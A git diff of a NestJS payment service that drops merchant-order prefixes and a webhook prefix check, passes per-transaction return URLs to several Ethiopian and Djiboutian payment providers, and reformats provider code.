@ApiPropertyOptional({ description: "Caller key to dedupe retried initiations", }) diff --git a/apps/edr-payment-api/src/modules/intents/intents.service.ts b/apps/edr-payment-api/src/modules/intents/intents.service.ts index faec489f9..492a86b78 100644 --- a/apps/edr-payment-api/src/modules/intents/intents.service.ts +++ b/apps/edr-payment-api/src/modules/intents/intents.service.ts @@ -9,7 +9,6 @@ import { DataSource, QueryFailedError } from "typeorm"; import { createMerchantOrderId } from "@edr/payment-providers"; import { InitiatePaymentRequest, - MERCHANT_ORDER_PREFIX, PaymentIntentSnapshot, PaymentReferenceType, PaymentService, @@ -60,6 +59,7 @@ export class IntentsService { async initiate( request: InitiatePaymentRequest, ): Promise { + if (request.idempotencyKey) { const byKey = await this.intentsRepository.findByIdempotencyKey( request.service, @@ -85,7 +85,7 @@ export class IntentsService { ); } - const merchantOrderId = `${MERCHANT_ORDER_PREFIX[request.service]}${createMerchantOrderId()}`; + const merchantOrderId = createMerchantOrderId(); const result = await provider.initiate({ merchantOrderId, orderRef: request.orderRef ?? request.referenceId, @@ -93,6 +93,9 @@ export class IntentsService { currency: request.currency, platform: request.platform, payerAccount: request.payerAccount, + returnUrl: request.returnUrl, + redirectUrl: request.returnUrl, + failureUrl: request.failureUrl, }); try { @@ -116,8 +119,6 @@ export class IntentsService { ); return this.toSnapshot(intent); } catch (err) { - // Concurrent initiate for the same reference lost the partial-unique race — return the - // winner's intent. The provider session we just opened is simply abandoned. if ( err instanceof QueryFailedError && (err.driverError as { code?: string })?.code === PG_UNIQUE_VIOLATION diff --git a/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts b/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts index 6be66b705..b8b54579a 100644 --- a/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts +++ b/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts @@ -1,9 +1,5 @@ import { Injectable, Logger } from "@nestjs/common"; -import { - MERCHANT_ORDER_PREFIX, - PaymentService, - ProviderMethod, -} from "@edr/types"; +import { ProviderMethod } from "@edr/types"; import { IntentsRepository } from "../intents/intents.repository"; import { IntentsService, @@ -81,20 +77,6 @@ export class WebhookProcessorService { return; } - // Integrity guard (§10): the stateless prefix and the stored discriminator must agree. - const expectedPrefix = - MERCHANT_ORDER_PREFIX[intent.service as PaymentService]; - if (expectedPrefix && !merchantOrderId.startsWith(expectedPrefix)) { - this.logger.error( - `${provider} webhook: merchantOrderId ${merchantOrderId} prefix does not match stored service ${intent.service} — refusing to process`, - ); - await this.webhookEvents.markProcessed( - eventRow.id, - "service-prefix-mismatch", - ); - return; - } - try { await this.intentsService.applyProviderResult(intent.id, webhook.result); await this.webhookEvents.markProcessed(eventRow.id); diff --git a/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts b/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts index 95ca51adc..8f1d1bd9e 100644 --- a/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts +++ b/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts @@ -112,6 +112,8 @@ export class WebhooksController { @Headers() headers: WaafiWebhookHeaders, @Req() req: { rawBody?: Buffer }, ) { + + this.logger.log("\n\n\n\nWaafi payment notification callback (Djibouti)\n\n\n\n"); this.logger.log( `Waafi webhook hit: event=${payload?.event ?? "unknown"} eventId=${headers["x-webhook-event-id"] ?? "n/a"}`, ); diff --git a/packages/payment-providers/src/providers/card/card.provider.ts b/packages/payment-providers/src/providers/card/card.provider.ts index c296f39a3..eaa9aed46 100644 --- a/packages/payment-providers/src/providers/card/card.provider.ts +++ b/packages/payment-providers/src/providers/card/card.provider.ts @@ -1,6 +1,6 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { HttpService } from "@nestjs/axios"; import { PaymentProvider, ProviderInitiationInput, @@ -8,10 +8,10 @@ import { ProviderStatus, ProviderPaymentStatus, ProviderMethod, -} from '@edr/types'; -import { AxiosError, AxiosRequestConfig } from 'axios'; -import { firstValueFrom } from 'rxjs'; -import * as crypto from 'node:crypto'; +} from "@edr/types"; +import { AxiosError, AxiosRequestConfig } from "axios"; +import { firstValueFrom } from "rxjs"; +import * as crypto from "node:crypto"; interface CardInitiateRequest { amount: number; @@ -54,7 +54,9 @@ export class CardProvider implements PaymentProvider { private readonly http: HttpService, ) {} - async initiate(input: ProviderInitiationInput): Promise { + async initiate( + input: ProviderInitiationInput, + ): Promise { const amount = input.amountMinor / 100; const requestBody: CardInitiateRequest = { @@ -65,7 +67,8 @@ export class CardProvider implements PaymentProvider { merchantOrderId: input.merchantOrderId, orderRef: input.orderRef, }, - return_url: this.returnUrl, + // Per-transaction browser return target (each calling app has its own UI); config is fallback. + return_url: input.returnUrl ?? this.returnUrl, webhook_url: this.webhookUrl, }; @@ -75,14 +78,16 @@ export class CardProvider implements PaymentProvider { ); if (!response.id) { - throw new Error(`Card gateway initiate failed: ${JSON.stringify(response)}`); + throw new Error( + `Card gateway initiate failed: ${JSON.stringify(response)}`, + ); } const expiresAt = new Date(response.expires_at * 1000); return { providerOrderId: response.id, - clientAction: { type: 'REDIRECT', url: response.checkout_url }, + clientAction: { type: "REDIRECT", url: response.checkout_url }, expiresAt, rawInitiation: { request: requestBody, @@ -109,12 +114,15 @@ export class CardProvider implements PaymentProvider { }; } - verifyWebhookSignature(payload: Record, signature: string): boolean { + verifyWebhookSignature( + payload: Record, + signature: string, + ): boolean { const payloadString = JSON.stringify(payload); const expectedSignature = crypto - .createHmac('sha256', this.webhookSecret) + .createHmac("sha256", this.webhookSecret) .update(payloadString) - .digest('hex'); + .digest("hex"); try { return crypto.timingSafeEqual( @@ -132,18 +140,18 @@ export class CardProvider implements PaymentProvider { private mapStatus(status: string): ProviderPaymentStatus { switch (status?.toLowerCase()) { - case 'succeeded': - case 'paid': + case "succeeded": + case "paid": return ProviderPaymentStatus.SUCCEEDED; - case 'failed': - case 'canceled': - case 'expired': + case "failed": + case "canceled": + case "expired": return ProviderPaymentStatus.FAILED; - case 'requires_payment_method': - case 'requires_confirmation': - case 'requires_action': + case "requires_payment_method": + case "requires_confirmation": + case "requires_action": return ProviderPaymentStatus.REQUIRES_ACTION; - case 'processing': + case "processing": return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; @@ -153,8 +161,8 @@ export class CardProvider implements PaymentProvider { private async postJson(url: string, body: unknown): Promise { const config: AxiosRequestConfig = { headers: { - 'Content-Type': 'application/json', - 'Authorization': `Bearer ${this.apiKey}`, + "Content-Type": "application/json", + Authorization: `Bearer ${this.apiKey}`, }, timeout: 10_000, }; @@ -162,7 +170,9 @@ export class CardProvider implements PaymentProvider { const started = Date.now(); try { const res = await firstValueFrom(this.http.post(url, body, config)); - this.logger.debug(`Card Gateway POST ${url} status=${res.status} latency=${Date.now() - started}ms`); + this.logger.debug( + `Card Gateway POST ${url} status=${res.status} latency=${Date.now() - started}ms`, + ); return res.data; } catch (err) { if (err instanceof AxiosError) { @@ -170,7 +180,9 @@ export class CardProvider implements PaymentProvider { `Card Gateway POST ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)}`, ); } else { - this.logger.error(`Card Gateway POST ${url} threw: ${err instanceof Error ? err.message : err}`); + this.logger.error( + `Card Gateway POST ${url} threw: ${err instanceof Error ? err.message : err}`, + ); } throw err; } @@ -179,7 +191,7 @@ export class CardProvider implements PaymentProvider { private async getJson(url: string): Promise { const config: AxiosRequestConfig = { headers: { - 'Authorization': `Bearer ${this.apiKey}`, + Authorization: `Bearer ${this.apiKey}`, }, timeout: 10_000, }; @@ -187,7 +199,9 @@ export class CardProvider implements PaymentProvider { const started = Date.now(); try { const res = await firstValueFrom(this.http.get(url, config)); - this.logger.debug(`Card Gateway GET ${url} status=${res.status} latency=${Date.now() - started}ms`); + this.logger.debug( + `Card Gateway GET ${url} status=${res.status} latency=${Date.now() - started}ms`, + ); return res.data; } catch (err) { if (err instanceof AxiosError) { @@ -195,25 +209,27 @@ export class CardProvider implements PaymentProvider { `Card Gateway GET ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)}`, ); } else { - this.logger.error(`Card Gateway GET ${url} threw: ${err instanceof Error ? err.message : err}`); + this.logger.error( + `Card Gateway GET ${url} threw: ${err instanceof Error ? err.message : err}`, + ); } throw err; } } private get baseUrl(): string { - return this.config.get('card.baseUrl') ?? ''; + return this.config.get("card.baseUrl") ?? ""; } private get apiKey(): string { - return this.config.get('card.apiKey') ?? ''; + return this.config.get("card.apiKey") ?? ""; } private get webhookSecret(): string { - return this.config.get('card.webhookSecret') ?? ''; + return this.config.get("card.webhookSecret") ?? ""; } private get webhookUrl(): string { - return this.config.get('card.webhookUrl') ?? ''; + return this.config.get("card.webhookUrl") ?? ""; } private get returnUrl(): string { - return this.config.get('card.returnUrl') ?? ''; + return this.config.get("card.returnUrl") ?? ""; } } diff --git a/packages/payment-providers/src/providers/cbe-birr/cbe-birr.provider.ts b/packages/payment-providers/src/providers/cbe-birr/cbe-birr.provider.ts index ebce5caba..2f3303374 100644 --- a/packages/payment-providers/src/providers/cbe-birr/cbe-birr.provider.ts +++ b/packages/payment-providers/src/providers/cbe-birr/cbe-birr.provider.ts @@ -1,6 +1,6 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { HttpService } from "@nestjs/axios"; import { PaymentProvider, ProviderInitiationInput, @@ -8,10 +8,10 @@ import { ProviderStatus, ProviderPaymentStatus, ProviderMethod, -} from '@edr/types'; -import { AxiosError, AxiosRequestConfig } from 'axios'; -import { firstValueFrom } from 'rxjs'; -import * as crypto from 'node:crypto'; +} from "@edr/types"; +import { AxiosError, AxiosRequestConfig } from "axios"; +import { firstValueFrom } from "rxjs"; +import * as crypto from "node:crypto"; interface CbeBirrInitiateRequest { merchantId: string; @@ -51,7 +51,9 @@ export class CbeBirrProvider implements PaymentProvider { private readonly http: HttpService, ) {} - async initiate(input: ProviderInitiationInput): Promise { + async initiate( + input: ProviderInitiationInput, + ): Promise { const amount = (input.amountMinor / 100).toFixed(2); const timestamp = new Date().toISOString(); @@ -61,7 +63,8 @@ export class CbeBirrProvider implements PaymentProvider { amount, currency: input.currency, description: `EDR ${input.orderRef}`, - returnUrl: this.returnUrl, + // Per-transaction browser return target (each calling app has its own UI); config is fallback. + returnUrl: input.returnUrl ?? this.returnUrl, notifyUrl: this.notifyUrl, timestamp, signature: this.signRequest({ @@ -85,7 +88,7 @@ export class CbeBirrProvider implements PaymentProvider { return { providerOrderId: response.orderId, - clientAction: { type: 'REDIRECT', url: response.paymentUrl }, + clientAction: { type: "REDIRECT", url: response.paymentUrl }, expiresAt, rawInitiation: { request: this.sanitize(requestBody), @@ -117,14 +120,15 @@ export class CbeBirrProvider implements PaymentProvider { return { status: mapped, providerTxnId: response.transactionId, - failureCode: mapped === ProviderPaymentStatus.FAILED ? response.status : undefined, + failureCode: + mapped === ProviderPaymentStatus.FAILED ? response.status : undefined, rawResponse: response as unknown as Record, }; } verifyWebhookSignature(payload: Record): boolean { const { signature, ...data } = payload; - if (!signature || typeof signature !== 'string') return false; + if (!signature || typeof signature !== "string") return false; const expectedSignature = this.signRequest(data); return crypto.timingSafeEqual( @@ -139,16 +143,16 @@ export class CbeBirrProvider implements PaymentProvider { private mapStatus(status: string): ProviderPaymentStatus { switch (status?.toUpperCase()) { - case 'SUCCESS': - case 'COMPLETED': + case "SUCCESS": + case "COMPLETED": return ProviderPaymentStatus.SUCCEEDED; - case 'FAILED': - case 'REJECTED': - case 'EXPIRED': + case "FAILED": + case "REJECTED": + case "EXPIRED": return ProviderPaymentStatus.FAILED; - case 'PENDING': + case "PENDING": return ProviderPaymentStatus.REQUIRES_ACTION; - case 'PROCESSING': + case "PROCESSING": return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; @@ -157,21 +161,19 @@ export class CbeBirrProvider implements PaymentProvider { private signRequest(data: Record): string { const sortedKeys = Object.keys(data).sort(); - const signString = sortedKeys - .map((key) => `${key}=${data[key]}`) - .join('&'); + const signString = sortedKeys.map((key) => `${key}=${data[key]}`).join("&"); return crypto - .createHmac('sha256', this.secretKey) + .createHmac("sha256", this.secretKey) .update(signString) - .digest('hex'); + .digest("hex"); } private async postJson(url: string, body: unknown): Promise { const config: AxiosRequestConfig = { headers: { - 'Content-Type': 'application/json', - 'X-Merchant-Id': this.merchantId, + "Content-Type": "application/json", + "X-Merchant-Id": this.merchantId, }, timeout: 10_000, }; @@ -179,7 +181,9 @@ export class CbeBirrProvider implements PaymentProvider { const started = Date.now(); try { const res = await firstValueFrom(this.http.post(url, body, config)); - this.logger.debug(`CBE Birr POST ${url} status=${res.status} latency=${Date.now() - started}ms`); + this.logger.debug( + `CBE Birr POST ${url} status=${res.status} latency=${Date.now() - started}ms`, + ); return res.data; } catch (err) { if (err instanceof AxiosError) { @@ -187,7 +191,9 @@ export class CbeBirrProvider implements PaymentProvider { `CBE Birr POST ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)}`, ); } else { - this.logger.error(`CBE Birr POST ${url} threw: ${err instanceof Error ? err.message : err}`); + this.logger.error( + `CBE Birr POST ${url} threw: ${err instanceof Error ? err.message : err}`, + ); } throw err; } @@ -199,18 +205,18 @@ export class CbeBirrProvider implements PaymentProvider { } private get baseUrl(): string { - return this.config.get('cbe.baseUrl') ?? ''; + return this.config.get("cbe.baseUrl") ?? ""; } private get merchantId(): string { - return this.config.get('cbe.merchantId') ?? ''; + return this.config.get("cbe.merchantId") ?? ""; } private get secretKey(): string { - return this.config.get('cbe.secretKey') ?? ''; + return this.config.get("cbe.secretKey") ?? ""; } private get notifyUrl(): string { - return this.config.get('cbe.notifyUrl') ?? ''; + return this.config.get("cbe.notifyUrl") ?? ""; } private get returnUrl(): string { - return this.config.get('cbe.returnUrl') ?? ''; + return this.config.get("cbe.returnUrl") ?? ""; } } diff --git a/packages/payment-providers/src/providers/dmoney/dmoney.provider.ts b/packages/payment-providers/src/providers/dmoney/dmoney.provider.ts index fa8455db5..35ca54a3b 100644 --- a/packages/payment-providers/src/providers/dmoney/dmoney.provider.ts +++ b/packages/payment-providers/src/providers/dmoney/dmoney.provider.ts @@ -56,7 +56,7 @@ export class DMoneyProvider implements PaymentProvider { constructor( private readonly config: ConfigService, private readonly http: HttpService, - ) { } + ) {} async initiate( input: ProviderInitiationInput, @@ -99,9 +99,9 @@ export class DMoneyProvider implements PaymentProvider { clientAction: response.checkoutUrl ? { type: "REDIRECT", url: response.checkoutUrl } : { - type: "REDIRECT", - url: `${this.baseUrl}/checkout/${response.orderId}`, - }, + type: "REDIRECT", + url: `${this.baseUrl}/checkout/${response.orderId}`, + }, expiresAt, rawInitiation: { request: this.sanitize(requestBody), diff --git a/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts b/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts index ee84bf611..2f8e954cf 100644 --- a/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts +++ b/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts @@ -1,6 +1,6 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { HttpService } from "@nestjs/axios"; import { PaymentProvider, ProviderInitiationInput, @@ -8,10 +8,10 @@ import { ProviderStatus, ProviderPaymentStatus, ProviderMethod, -} from '@edr/types'; -import { AxiosError, AxiosRequestConfig } from 'axios'; -import { firstValueFrom } from 'rxjs'; -import * as crypto from 'node:crypto'; +} from "@edr/types"; +import { AxiosError, AxiosRequestConfig } from "axios"; +import { firstValueFrom } from "rxjs"; +import * as crypto from "node:crypto"; interface EBirrInitiateRequest { merchantCode: string; @@ -58,7 +58,9 @@ export class EBirrProvider implements PaymentProvider { private readonly http: HttpService, ) {} - async initiate(input: ProviderInitiationInput): Promise { + async initiate( + input: ProviderInitiationInput, + ): Promise { const amount = input.amountMinor / 100; const timestamp = Date.now(); @@ -70,7 +72,8 @@ export class EBirrProvider implements PaymentProvider { subject: `EDR Ticket`, body: `Order ${input.orderRef}`, notifyUrl: this.notifyUrl, - returnUrl: this.returnUrl, + // Per-transaction browser return target (each calling app has its own UI); config is fallback. + returnUrl: input.returnUrl ?? this.returnUrl, timestamp, sign: this.signRequest({ merchantCode: this.merchantCode, @@ -85,7 +88,7 @@ export class EBirrProvider implements PaymentProvider { requestBody, ); - if (response.code !== '0000' || !response.data?.orderNo) { + if (response.code !== "0000" || !response.data?.orderNo) { throw new Error(`eBirr initiate failed: ${response.message}`); } @@ -93,7 +96,7 @@ export class EBirrProvider implements PaymentProvider { return { providerOrderId: response.data.orderNo, - clientAction: { type: 'REDIRECT', url: response.data.payUrl }, + clientAction: { type: "REDIRECT", url: response.data.payUrl }, expiresAt, rawInitiation: { request: this.sanitize(requestBody), @@ -120,7 +123,7 @@ export class EBirrProvider implements PaymentProvider { requestBody, ); - if (response.code !== '0000' || !response.data) { + if (response.code !== "0000" || !response.data) { throw new Error(`eBirr query failed: ${response.message}`); } @@ -129,20 +132,20 @@ export class EBirrProvider implements PaymentProvider { return { status: mapped, providerTxnId: response.data.tradeNo, - failureCode: mapped === ProviderPaymentStatus.FAILED ? response.data.tradeStatus : undefined, + failureCode: + mapped === ProviderPaymentStatus.FAILED + ? response.data.tradeStatus + : undefined, rawResponse: response as unknown as Record, }; } verifyWebhookSignature(payload: Record): boolean { const { sign, ...data } = payload; - if (!sign || typeof sign !== 'string') return false; + if (!sign || typeof sign !== "string") return false; const expectedSign = this.signRequest(data); - return crypto.timingSafeEqual( - Buffer.from(sign), - Buffer.from(expectedSign), - ); + return crypto.timingSafeEqual(Buffer.from(sign), Buffer.from(expectedSign)); } mapWebhookStatus(tradeStatus: string): ProviderPaymentStatus { @@ -151,17 +154,17 @@ export class EBirrProvider implements PaymentProvider { private mapStatus(tradeStatus: string): ProviderPaymentStatus { switch (tradeStatus?.toUpperCase()) { - case 'TRADE_SUCCESS': - case 'SUCCESS': + case "TRADE_SUCCESS": + case "SUCCESS": return ProviderPaymentStatus.SUCCEEDED; - case 'TRADE_CLOSED': - case 'TRADE_FAILED': - case 'FAILED': + case "TRADE_CLOSED": + case "TRADE_FAILED": + case "FAILED": return ProviderPaymentStatus.FAILED; - case 'WAIT_BUYER_PAY': - case 'PENDING': + case "WAIT_BUYER_PAY": + case "PENDING": return ProviderPaymentStatus.REQUIRES_ACTION; - case 'PROCESSING': + case "PROCESSING": return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; @@ -170,21 +173,21 @@ export class EBirrProvider implements PaymentProvider { private signRequest(data: Record): string { const sortedKeys = Object.keys(data).sort(); - const signString = sortedKeys - .map((key) => `${key}=${data[key]}`) - .join('&') + `&key=${this.secretKey}`; + const signString = + sortedKeys.map((key) => `${key}=${data[key]}`).join("&") + + `&key=${this.secretKey}`; return crypto - .createHash('md5') + .createHash("md5") .update(signString) - .digest('hex') + .digest("hex") .toUpperCase(); } private async postJson(url: string, body: unknown): Promise { const config: AxiosRequestConfig = { headers: { - 'Content-Type': 'application/json', + "Content-Type": "application/json", }, timeout: 10_000, }; @@ -192,7 +195,9 @@ export class EBirrProvider implements PaymentProvider { const started = Date.now(); try { const res = await firstValueFrom(this.http.post(url, body, config)); - this.logger.debug(`eBirr POST ${url} status=${res.status} latency=${Date.now() - started}ms`); + this.logger.debug( + `eBirr POST ${url} status=${res.status} latency=${Date.now() - started}ms`, + ); return res.data; } catch (err) { if (err instanceof AxiosError) { @@ -200,7 +205,9 @@ export class EBirrProvider implements PaymentProvider { `eBirr POST ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)}`, ); } else { - this.logger.error(`eBirr POST ${url} threw: ${err instanceof Error ? err.message : err}`); + this.logger.error( + `eBirr POST ${url} threw: ${err instanceof Error ? err.message : err}`, + ); } throw err; } @@ -212,18 +219,18 @@ export class EBirrProvider implements PaymentProvider { } private get baseUrl(): string { - return this.config.get('ebirr.baseUrl') ?? ''; + return this.config.get("ebirr.baseUrl") ?? ""; } private get merchantCode(): string { - return this.config.get('ebirr.merchantCode') ?? ''; + return this.config.get("ebirr.merchantCode") ?? ""; } private get secretKey(): string { - return this.config.get('ebirr.secretKey') ?? ''; + return this.config.get("ebirr.secretKey") ?? ""; } private get notifyUrl(): string { - return this.config.get('ebirr.notifyUrl') ?? ''; + return this.config.get("ebirr.notifyUrl") ?? ""; } private get returnUrl(): string { - return this.config.get('ebirr.returnUrl') ?? ''; + return this.config.get("ebirr.returnUrl") ?? ""; } } diff --git a/packages/payment-providers/src/providers/telebirr/telebirr.provider.ts b/packages/payment-providers/src/providers/telebirr/telebirr.provider.ts index f2fad00fe..39a0e8e90 100644 --- a/packages/payment-providers/src/providers/telebirr/telebirr.provider.ts +++ b/packages/payment-providers/src/providers/telebirr/telebirr.provider.ts @@ -1,6 +1,6 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { HttpService } from "@nestjs/axios"; import { PaymentProvider, ProviderInitiationInput, @@ -8,22 +8,22 @@ import { ProviderStatus, ProviderPaymentStatus, ProviderMethod, -} from '@edr/types'; -import { AxiosError, AxiosRequestConfig } from 'axios'; -import { firstValueFrom } from 'rxjs'; -import * as https from 'node:https'; +} from "@edr/types"; +import { AxiosError, AxiosRequestConfig } from "axios"; +import { firstValueFrom } from "rxjs"; +import * as https from "node:https"; import { createNonceStr, createTimestamp, signRequestObject, verifyRequestObject, -} from './telebirr.crypto'; +} from "./telebirr.crypto"; import { CreateOrderRequest, CreateOrderResponse, FabricTokenResponse, QueryOrderResponse, -} from './telebirr.types'; +} from "./telebirr.types"; const TELEBIRR_HTTP_TIMEOUT_MS = 10_000; @@ -37,17 +37,21 @@ export class TelebirrProvider implements PaymentProvider { private readonly config: ConfigService, private readonly http: HttpService, ) { - const insecure = this.config.get('telebirr.insecureTls'); + const insecure = this.config.get("telebirr.insecureTls"); if (insecure) { - this.logger.warn('TELEBIRR_INSECURE_TLS=true — TLS verification disabled for Telebirr calls. DEV ONLY.'); + this.logger.warn( + "TELEBIRR_INSECURE_TLS=true — TLS verification disabled for Telebirr calls. DEV ONLY.", + ); } this.httpsAgent = new https.Agent({ rejectUnauthorized: !insecure, - secureProtocol: 'TLSv1_2_method', + secureProtocol: "TLSv1_2_method", }); } - async initiate(input: ProviderInitiationInput): Promise { + async initiate( + input: ProviderInitiationInput, + ): Promise { const fabricToken = await this.applyFabricToken(); const requestBody = this.buildCreateOrderRequest(input); const response = await this.requestCreateOrder(fabricToken, requestBody); @@ -59,17 +63,19 @@ export class TelebirrProvider implements PaymentProvider { ); } - const expiresAt = this.computeExpiresAt(requestBody.biz_content.timeout_express); - const platform = input.platform ?? 'web'; + const expiresAt = this.computeExpiresAt( + requestBody.biz_content.timeout_express, + ); + const platform = input.platform ?? "web"; const clientAction = - platform === 'mobile' + platform === "mobile" ? { - type: 'LAUNCH_APP' as const, - appId: this.merchantAppId, - receiveCode: response.biz_content?.receiveCode, - shortCode: this.merchantCode, - } - : { type: 'REDIRECT' as const, url: this.buildCheckoutUrl(prepayId) }; + type: "LAUNCH_APP" as const, + appId: this.merchantAppId, + receiveCode: response.biz_content?.receiveCode, + shortCode: this.merchantCode, + } + : { type: "REDIRECT" as const, url: this.buildCheckoutUrl(prepayId) }; return { providerOrderId: prepayId, @@ -89,8 +95,8 @@ export class TelebirrProvider implements PaymentProvider { `${this.baseUrl}/payment/v1/merchant/queryOrder`, requestBody, { - 'Content-Type': 'application/json', - 'X-APP-Key': this.fabricAppId, + "Content-Type": "application/json", + "X-APP-Key": this.fabricAppId, Authorization: fabricToken, }, ); @@ -104,36 +110,40 @@ export class TelebirrProvider implements PaymentProvider { status: mapped, providerTxnId, failureCode: - mapped === ProviderPaymentStatus.FAILED && tradeStatus ? tradeStatus : undefined, + mapped === ProviderPaymentStatus.FAILED && tradeStatus + ? tradeStatus + : undefined, rawResponse: response as Record, }; } mapTradeStatus(tradeStatus: string | undefined): ProviderPaymentStatus { switch (tradeStatus) { - case 'PAY_SUCCESS': + case "PAY_SUCCESS": return ProviderPaymentStatus.SUCCEEDED; - case 'PAY_FAILED': - case 'ORDER_CLOSED': + case "PAY_FAILED": + case "ORDER_CLOSED": return ProviderPaymentStatus.FAILED; - case 'WAIT_PAY': + case "WAIT_PAY": return ProviderPaymentStatus.REQUIRES_ACTION; - case 'PAYING': + case "PAYING": return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; } } - mapWebhookTradeStatus(tradeStatus: string | undefined): ProviderPaymentStatus { + mapWebhookTradeStatus( + tradeStatus: string | undefined, + ): ProviderPaymentStatus { switch (tradeStatus) { - case 'Completed': + case "Completed": return ProviderPaymentStatus.SUCCEEDED; - case 'Failure': - case 'Expired': + case "Failure": + case "Expired": return ProviderPaymentStatus.FAILED; - case 'Paying': - case 'Pending': + case "Paying": + case "Pending": return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; @@ -142,7 +152,9 @@ export class TelebirrProvider implements PaymentProvider { verifyWebhookSignature(payload: Record): boolean { if (!this.publicKey) { - this.logger.error('TELEBIRR_PUBLIC_KEY not configured; rejecting all webhooks'); + this.logger.error( + "TELEBIRR_PUBLIC_KEY not configured; rejecting all webhooks", + ); return false; } return verifyRequestObject(payload, this.publicKey); @@ -153,12 +165,14 @@ export class TelebirrProvider implements PaymentProvider { `${this.baseUrl}/payment/v1/token`, { appSecret: this.appSecret }, { - 'Content-Type': 'application/json', - 'X-APP-Key': this.fabricAppId, + "Content-Type": "application/json", + "X-APP-Key": this.fabricAppId, }, ); if (!response?.token) { - throw new Error(`Telebirr token request failed: ${JSON.stringify(response)}`); + throw new Error( + `Telebirr token request failed: ${JSON.stringify(response)}`, + ); } return response.token; } @@ -171,51 +185,61 @@ export class TelebirrProvider implements PaymentProvider { `${this.baseUrl}/payment/v1/inapp/createOrder`, body, { - 'Content-Type': 'application/json', - 'X-APP-Key': this.fabricAppId, + "Content-Type": "application/json", + "X-APP-Key": this.fabricAppId, Authorization: fabricToken, }, ); } - private buildCreateOrderRequest(input: ProviderInitiationInput): CreateOrderRequest { + private buildCreateOrderRequest( + input: ProviderInitiationInput, + ): CreateOrderRequest { const totalAmount = String(input.amountMinor / 100); const req = { timestamp: createTimestamp(), nonce_str: createNonceStr(), - method: 'payment.preorder' as const, - version: '1.0' as const, + method: "payment.preorder" as const, + version: "1.0" as const, biz_content: { notify_url: this.notifyUrl, appid: this.merchantAppId, merch_code: this.merchantCode, merch_order_id: input.merchantOrderId, - trade_type: 'Checkout' as const, + trade_type: "Checkout" as const, title: `EDR ${input.orderRef}`, total_amount: totalAmount, trans_currency: input.currency, timeout_express: this.timeoutExpress, - redirect_url: input.redirectUrl + redirect_url: input.redirectUrl, }, }; - const sign = signRequestObject(req as unknown as Record, this.privateKey); - return { ...req, sign, sign_type: 'SHA256WithRSA' }; + const sign = signRequestObject( + req as unknown as Record, + this.privateKey, + ); + return { ...req, sign, sign_type: "SHA256WithRSA" }; } - private buildQueryOrderRequest(merchantOrderId: string): Record { + private buildQueryOrderRequest( + merchantOrderId: string, + ): Record { const req = { timestamp: createTimestamp(), nonce_str: createNonceStr(), - method: 'payment.queryorder', - version: '1.0', + method: "payment.queryorder", + version: "1.0", biz_content: { appid: this.merchantAppId, merch_code: this.merchantCode, merch_order_id: merchantOrderId, }, }; - const sign = signRequestObject(req as Record, this.privateKey); - return { ...req, sign, sign_type: 'SHA256WithRSA' }; + const sign = signRequestObject( + req as Record, + this.privateKey, + ); + return { ...req, sign, sign_type: "SHA256WithRSA" }; } private buildCheckoutUrl(prepayId: string): string { @@ -233,27 +257,34 @@ export class TelebirrProvider implements PaymentProvider { `nonce_str=${map.nonce_str}`, `prepay_id=${map.prepay_id}`, `timestamp=${map.timestamp}`, - 'sign_type=SHA256WithRSA', + "sign_type=SHA256WithRSA", `sign=${sign}`, - 'version=1.0', - 'trade_type=Checkout', - ].join('&'); + "version=1.0", + "trade_type=Checkout", + ].join("&"); return `${this.webBaseUrl}${rawRequest}`; } private computeExpiresAt(timeoutExpress: string): Date { const match = /^(\d+)([smhd])$/.exec(timeoutExpress); - const minutes = match ? this.toMinutes(parseInt(match[1], 10), match[2]) : 15; + const minutes = match + ? this.toMinutes(parseInt(match[1], 10), match[2]) + : 15; return new Date(Date.now() + minutes * 60_000); } private toMinutes(n: number, unit: string): number { switch (unit) { - case 's': return Math.max(1, Math.round(n / 60)); - case 'm': return n; - case 'h': return n * 60; - case 'd': return n * 60 * 24; - default: return 15; + case "s": + return Math.max(1, Math.round(n / 60)); + case "m": + return n; + case "h": + return n * 60; + case "d": + return n * 60 * 24; + default: + return 15; } } @@ -270,7 +301,9 @@ export class TelebirrProvider implements PaymentProvider { const started = Date.now(); try { const res = await firstValueFrom(this.http.post(url, body, config)); - this.logger.debug(`Telebirr POST ${url} status=${res.status} latency=${Date.now() - started}ms`); + this.logger.debug( + `Telebirr POST ${url} status=${res.status} latency=${Date.now() - started}ms`, + ); return res.data; } catch (err) { if (err instanceof AxiosError) { @@ -278,7 +311,9 @@ export class TelebirrProvider implements PaymentProvider { 